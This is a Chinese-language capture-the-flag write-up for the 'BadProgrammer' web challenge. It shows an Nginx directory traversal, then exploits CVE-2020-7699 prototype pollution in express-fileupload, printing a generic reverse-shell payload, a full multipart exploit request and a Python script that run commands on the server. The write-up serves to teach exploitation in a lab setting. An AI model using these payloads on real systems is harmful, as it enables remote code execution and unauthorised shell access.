【攻防世界】BadProgrammer

Mr_Soap發表於2024-07-10

BadProgrammer

題目來源

攻防世界  NO.GFSJ0986

題目描述

開啟網址頁面如下,沒有什麼有用資訊

img

dirsearch掃一下目錄,發現/static../(用御劍掃不出來)

img

其實這是一個Nginx配置錯誤的目錄遍歷漏洞,用AWVS也可以掃出來

img

題解

訪問/static../

img

檢視app.js,返回以下程式碼

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
}); 

訪問/4_pATh_y0u_CaNN07_Gu3ss

img

看到flag在 flag.txt 中,但是無法直接訪問到 flag.txt

這裡需要掌握express-fileupload中介軟體漏洞:CVE-2020-7699。
該漏洞存在於express-fileupload版本低於1.1.9(不包含),在package.json中可以看到其版本為1.1.7,可以利用該漏洞

img

該漏洞原理分析:https://www.freebuf.com/vuls/246029.html

通用payload如下:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x

如果有vps的同學可以嘗試反彈shell到有公網ip的機器,這裡我們直接將payload改為

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

構造請求報文,注意不要隨意刪除或新增空行

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:53137
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 289


-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

-----------------------------1546646991721295948201928333--

該請求的Content-Type必須為 multipart/form-data
傳送該請求包後,flag.txt將被複制到static/js下,即可得到flag。

若構造該請求包有難度,也可以使用requests庫進行請求

import requests

resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '53137', '4_pATh_y0u_CaNN07_Gu3ss'),
        files={'__proto__.outputFunctionName': 
        (
            None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
        )})

print(resp1)